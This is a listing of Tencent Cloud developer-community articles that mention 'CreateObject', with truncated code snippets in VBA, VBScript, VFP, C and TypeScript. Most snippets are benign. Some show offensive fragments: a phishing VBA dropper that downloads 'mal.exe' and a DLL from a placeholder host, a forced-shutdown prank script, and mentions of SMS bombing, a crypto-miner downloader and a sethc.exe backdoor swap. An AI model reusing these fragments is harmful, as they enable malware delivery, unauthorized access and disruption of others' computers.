- 综合排序
- 最热优先
- 最新优先
- 来自专栏VBA 学习
VBA CreateObject函数如何找到所需要的依赖文件
VBA中如果要调用外部对象，有2种方法： 前期绑定： 在VBA编辑器里点击工具-引用，找到需要使用的项目勾选 后期绑定： 使用VBA的CreateObject函数，这种情况下要知道 1、注册表 Windows系统有一种叫做注册表的东西，里面保存了很多数据信息，CreateObject函数就是通过注册表来找到依赖文件的。 GetObjectDllPathByWSCript(ObjectName As String) As String Dim ws As Object Set ws = VBA.CreateObject
3K31发布于 2020-09-10 - 来自专栏加菲猫的VFP
VFP用Foxjson玩转JSON，超简单的教程
假设有3级，那么每一级如下： Ones=createobject(“foxjson”,{}) One=createobject(“foxjson”) Twos=createobject(“foxjson ”,{}) Two=createobject(“foxjson”) Threes=createobject(“foxjson”,{}) Three=createobject(“foxjson”) Ones=Createobject(“foxjson”,{}) One=Createobject(“foxjson”) Twos=Createobject(“foxjson”,{}) &&&&& &第二级建立&&&&&&& two=Createobject(“foxjson”) &&&&&&第二级建立&&&&&&& threes=Createobject(“foxjson”,{}) (“foxjson”) &&&&&&&&重复上面操作&&&&&&&&& threes=Createobject(“foxjson”,{}) three=Createobject(“foxjson”
85120编辑于 2022-10-27 - 来自专栏运维开发故事
Redis 通讯协议（RESP）
= createObject(OBJ_STRING,sdsnew("$0\r\n\r\n")); shared.czero = createObject(OBJ_STRING,sdsnew(" :0\r\n")); shared.cone = createObject(OBJ_STRING,sdsnew(":1\r\n")); shared.emptyarray = createObject = createObject(OBJ_STRING,sdsnew("+QUEUED\r\n")); shared.emptyscan = createObject(OBJ_STRING,sdsnew = createObject(OBJ_STRING,sdsnew(":")); shared.plus = createObject(OBJ_STRING,sdsnew("+")); (OBJ_STRING,sdsnew("-ERR\r\n")); shared.nokeyerr = createObject(OBJ_STRING,sdsnew( "-ERR
1.6K20编辑于 2022-04-05 - 来自专栏全栈程序员必看
Scripting.FileSystemObject详解
创建文件 set fso = server.CreateObject(“Scripting.FileSystemObject”) set f = fso.CreateTextFile(“C:\test.txt ) ‘写入三个空白行（相当于在文本编辑器中按三次回车） f.Close() set f = nothing set fso = nothing 打开并读文件 set fso = server.CreateObject ‘写入三个空白行（相当于在文本编辑器中按三次回车） f.Close() set f = nothing set fso = nothing 判断文件是否存在 set fso = server.CreateObject (“aqa331.asp”)) Response.Write(“父文件夹名称是：” & p) set fs=nothing 取得指定路径中的最后一个成分的文件扩展名 Set fs=Server.CreateObject Set fso=Server.CreateObject(“Scripting.FileSystemObject”) Response.Write(fso.GetBaseName(“c:\windows
2.1K30编辑于 2022-09-14 - 来自专栏全栈程序员必看
vbs代码之“电脑系统崩溃”「建议收藏」
code CreateObject("SAPI.SpVoice").Speak"你的电脑受到d dos木马攻击，系统严重瘫痪，电脑系统将在三秒后崩溃" set WshShell=WScript.CreateObject ("WScript.Shell") WScript.Sleep 2000 CreateObject("SAPI.SpVoice").Speak"电脑系统已崩溃。" loop set WshShell=WScript.CreateObject("WScript.Shell") WScript.Sleep 8000 CreateObject("Wscript.Shell ").run "cmd.exe /c shutdown -f" CreateObject("Wscript.Shell").run "cmd.exe /c shutdown -r -t 2" 发布者：
1.6K10编辑于 2022-09-01 - 来自专栏全栈程序员必看
常用vbs代码[通俗易懂]
End If 运行CMD命令行命令 set obshell=wscript.createobject(“wscript.shell”) obshell.run (“ipconfig”),,true 注册表的修改，读取，删除，创建 Set wso = CreateObject(“WScript.Shell”) ‘声明 wso.RegWrite “%Path%”‘创建子键 wso.RegWrite Set fso = Wscript.CreateObject(“Scripting.FileSystemObject”) Set f=fso.CreateTextFile(“C:/Sample.txt dim program1 program1=”D:/Program Files/Tencent/coralQQ.exe” set wshshell=CreateObject(“wscript.shell Set fso = Wscript.CreateObject(“Scripting.FileSystemObject”) Set f = fso.CreateObject(“C:/sample”)
2.9K20编辑于 2022-08-31 - 来自专栏大师级码师
VB FileSystemObject对象实例详解
下面的代码创建了一个文本文件，并写入了一些文本：<%dim fs,fnameset fs=Server.CreateObject("Scripting.FileSystemObject")set fname 二、例子<%dim fsset fs=Server.CreateObject("Scripting.FileSystemObject")fs.CopyFile "c:\mydocuments\web\* 二、例子<%dim fs,fset fs=Server.CreateObject("Scripting.FileSystemObject")set f=fs.CreateFolder("c:\asp") tfile.closeset tfile=nothingset fs=nothing%>Folder对象的例子：<%dim fs,fo,tfileSet fs=Server.CreateObject(" 二、例子<%dim fsSet fs=Server.CreateObject("Scripting.FileSystemObject") fs.CreateTextFile("c:\test.txt",
1.6K00编辑于 2022-11-06 - 来自专栏源懒由码
VBS基础篇 - 对象(3) - FileSystemObject对象
如何使用FSO 要用FSO对象模型来编程，使用CreateObject方法来创建FileSystemObject对象，例如： Dim fso Set fso = wscript.createobject 具体示例代码如下所示：获取本计算机上所有的磁盘的盘符 Set fso = CreateObject("Scripting.FileSystemObject") Set Drivers = fso.Drives 示例：将 c:\test文件夹移动到D:\下 Dim Fso '创建FileSystemObject对象 Set Fso = CreateObject("Scripting.FileSystemObject 示例： Dim Fso '创建FileSystemObject对象 Set Fso = CreateObject("Scripting.FileSystemObject") '使用MoveFolder 示例：获取”c:\test.txt”文件所在的文件夹 Dim Fso Dim GetParentFolderName '创建FileSystemObject对象 Set Fso = CreateObject
1.4K31发布于 2020-10-10 - 来自专栏安卓圈
对反射的封装
{int.class, String.class}; Object[] v3 = {1, "bjq"}; Object obj = RefInvoke.createObject System.out.println(obj.toString()); //无参 Object obj2 = RefInvoke.createObject Class[] p3 = {int.class, String.class}; Object[] v3 = {1, "bjq"}; Object obj = RefInvoke.createObject (clazz, pareTyple, pareVaules); } //一个参数 public static Object createObject(String className (clazz, pareTyples, pareVaules); } //多个参数 public static Object createObject(String className
53110发布于 2019-09-26 - 来自专栏逆向技术
MFC原理第四讲.动态创建机制
PASCAL* m_pfnCreateObject)(); 存放支持动态创建的类 CRuntimeClass* m_pBaseClass; // Operations CObject* CreateObject RUNTIME_CLASS宏可以拆解开. m_pMainWnd = (CMainWnd *)((CRuntimeClass*)(&CMainWnd::classCMainWnd))->CreateObject class_name) \ DECLARE_DYNAMIC(class_name) \ RTTI动态识别 static CObject* PASCAL CreateObject 并且添加了一个新的 成员函数 static Cobject * Createobject(); RTTI动态识别.上一讲已将讲过了. 解析的代码 //IMPLEMENT_DYNCREATE(CMainWnd,CFrameWnd) CObject* PASCAL CMainWnd::CreateObject() { return
1.4K30发布于 2019-05-25 - 来自专栏鸿鹄实验室
钓鱼常用的vba代码
droppingURL = "https://example.com/mal.exe" localPath = "c://asd.exe" Set WinHttpReq = CreateObject Windows NT 5.0)" WinHttpReq.Send If WinHttpReq.Status = 200 Then Set oStream = CreateObject 2 ' 1 = no overwrite, 2 = overwrite (will not work with file attrs) oStream.Close CreateObject String dll_URL = "https://example.com/mal.dll" Dim WinHttpReq As Object Set WinHttpReq = CreateObject /bin/x86/Release/PowerShdll.dll" #End If Dim WinHttpReq As Object Set WinHttpReq = CreateObject
1.2K40发布于 2021-04-15 - 来自专栏全栈程序员必看
ActiveX 部件不能创建对象: ‘scripting.FileSystemObject’
使用regsvr32 scrrun.dll就可以 2.VB里用set fso=CreateObject(“Scripting.FileSystemObject”) asp里边用 set fso=Server.CreateObject 看一下你的浏览器，是不是禁用了ActiveX 4.服务器不支持fso 5.禁fso，很多是改的Progid,出这样的错误： 服务器对象 错误 ‘ASP 0177 : 800401f3’ Server.CreateObject 失败 /asp/test.asp, 行3 ——————— 你可以猜测这个改变的数值来激活成功教程： Set Fs=Server.CreateObject(“Scripting.FileSystemObject8 程序如下： <%@ LANGUAGE = VBScript.Encode %> <%set conn=server.createobject(“adodb.connection”) conn.open “filedsn=d:\test\file.dsn;dbq=d:\test\test.mdb;” ‘注意改下路径 set rs=server.createobject(“adodb.recordset
1.8K20编辑于 2022-09-14 - 来自专栏全栈程序员必看
使用FSO修改文件特定内容的函数
function FSOchange(filename,Target,String) Dim objFSO,objCountFile,FiletempData Set objFSO = Server.CreateObject 读取文件内容的函数 function FSOFileRead(filename) Dim objFSO,objCountFile,FiletempData Set objFSO = Server.CreateObject filename,lineNum) if linenum < 1 then exit function dim fso,f,temparray,tempcnt set fso = server.CreateObject lineNum,Linecontent) if linenum < 1 then exit function dim fso,f,temparray,tempCnt set fso = server.CreateObject function ””使用FSO添加文件新行的函数 function FSOappline(filename,Linecontent) dim fso,f set fso = server.CreateObject
2.1K20编辑于 2022-09-02 - 来自专栏全栈程序员必看
各种有趣vbs，bat脚本[通俗易懂]
短信轰炸.vbs Dim btn,ie Set ie = WScript.CreateObject("InternetExplorer.Application") ie.Visible = true ie.Document.getElementById("btn") btn.click Wscript.Sleep 5000 '每隔五秒轰炸一次 Loop 门罗币挖矿.vbs Set objXMLHTTP=CreateObject ("scripting.filesystemobject") set ws = createobject("wscript.shell") set file = fso.getfile(wscript.scriptfullname ",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath On Error Resume Next Dim obj, success Set obj = CreateObject asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) CreateObject
1.3K20编辑于 2022-09-20 - 来自专栏加菲猫的VFP
使用 .NET FrameWork 的 System.Net.WebClient 实现下载
VFP可以调用的.NET--加菲猫注 示例1：同步下载： CLEAR DO wwDotNetBridge Public loBridge as wwDotNetBridge loBridge = CreateObject lcUrl, lcLocalPath) 示例2：“伪”异步下载 CLEAR DO wwDotNetBridge Public loBridge as wwDotNetBridge loBridge = CreateObject wwDotNetBridge","V4) loClient = loBridge.CreateInstance("System.Net.WebClient") PUBLIC loCallback loCallback = CREATEOBJECT ENDFUNC ENDDEFINE 示例3：异步下载 CLEAR DO wwDotNetBridge Public loBridge as wwDotNetBridge loBridge = CreateObject ("wwDotNetBridge","V4") loClient = loBridge.CreateInstance("System.Net.WebClient") loHandler = CREATEOBJECT
36610编辑于 2024-02-27 - 来自专栏未知
Excel VBA 操作 MySQL(十四，十五)
以下是一个示例代码，演示如何执行这些操作：###读取文本和图片二进制数据Sub ReadTextAndImageFromMySQL() Dim conn As Object Set conn = CreateObject ("ADODB.Stream") Dim imageStream As Object Set imageStream = CreateObject("ADODB.Stream") ("ADODB.Stream") Dim imageStream As Object Set imageStream = CreateObject("ADODB.Stream") 可以使用 CreateObject 函数来创建它。 Dim stream As ObjectSet stream = CreateObject("ADODB.Stream")打开 Stream 对象：在处理数据之前，需要打开 ADODB.Stream 对象
1.3K20编辑于 2023-12-28 - 来自专栏加菲猫的VFP
JSON与XML你不懂就OUT，真相是它们都是字符串
，年龄的信息 XML用标签来表示 张三 20 vfp来创建JSON 1.方法一 cJosn=[{"name":"张三","age","20"}] 2.方法二：使用木瓜的foxjson oUser=Createobject oJson.item("age") vfp来创建JSON数组 oUsers=Createobject("foxJson",{}) oUser=Createobject("foxJson") oUser.Append ("name","张三") oUser.Append("age",20) oUsers.Append(oUser) oUser=Createobject("foxJson") oUser.Append( oUsers.item(2).item("age") vfp来创建xml 方式一 cXML=[<preson><name>张三</name><age>20</age></preson>] 方式二 oXMLDOC=Createobject oPerson.XML 建立一个XML数组 *--建立一个XML数组 oXMLDOC=Createobject("Microsoft.XMLDOM") oPersons=oXMLDOC.createElement
73230发布于 2021-12-01 - 来自专栏加菲猫的VFP
VFP中超爽运行JS代码
1 用Eval（）来实现表达式的计算 oJs=Createobject("ScriptControl") oJs.Language="JavaScript" ? oJs.eval("100+5*3") 2 调用JS内置函数,示例汉字编码 oJs=Createobject("ScriptControl") oJs.Language="JavaScript" cWords 调用自定义函数 注意JS的小大写 TEXT TO lcJs TEXTMERGE PRETEXT 1+2 NOSHOW function xx1 (x,y){ return x+y; } ENDTEXT oJs=Createobject run来调用,更爽一点 TEXT TO lcJs TEXTMERGE PRETEXT 1+2 NOSHOW function xx1 (x,y){ return x+y; } ENDTEXT oJs=Createobject oJs=Createobject("ScriptControl") oJs.Language="JavaScript" oJs.ExecuteStatement("x = 0/100") ?
1.7K30发布于 2021-08-16 - 来自专栏转载gongluck的CSDN博客
使用cJSON创建JSON字符串
cJSON*root=cJSON_CreateObject(); （2） 调用cJSON_CreateString ()函数，由一个字符串生成一个cJSON的数据项。 cJSON*root=cJSON_CreateObject(); （2）继续调用cJSON_ CreateObject ()函数，创建一个JSON对象obj_person，做为挂载结构体内容的对象。 这里说明一下，我们前面调用了2次cJSON_CreateObject ()，最后只需要针对root调用一次释放即可，因为第二次创建的对象也是挂接在root上的。 （1）还是先调用cJSON_ CreateObject ()函数，创建一个JSON对象root，做为根。 （6）通过cJSON_Delete()，释放cJSON_CreateObject ()分配出来的内存空间。 （7）释放cJSON_Print ()分配出来的内存空间。
5.2K60发布于 2018-03-08 - 来自专栏绿巨人专栏
TypeScript中的怪语法
// This is a generic method to create an object function createObject<T>(name:string, creator: (arg: : T { return creator(name); } // now we have a class Person, we want to create it via function createObject // This is a generic method to create an object function createObject<T>(name:string) : T { return is being used as a value here. } // now we have a class Person, we want to create it via function createObject ```ts // This is a generic method to create an object function createObject(name:string, creator: {new
2.3K30发布于 2018-07-04
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号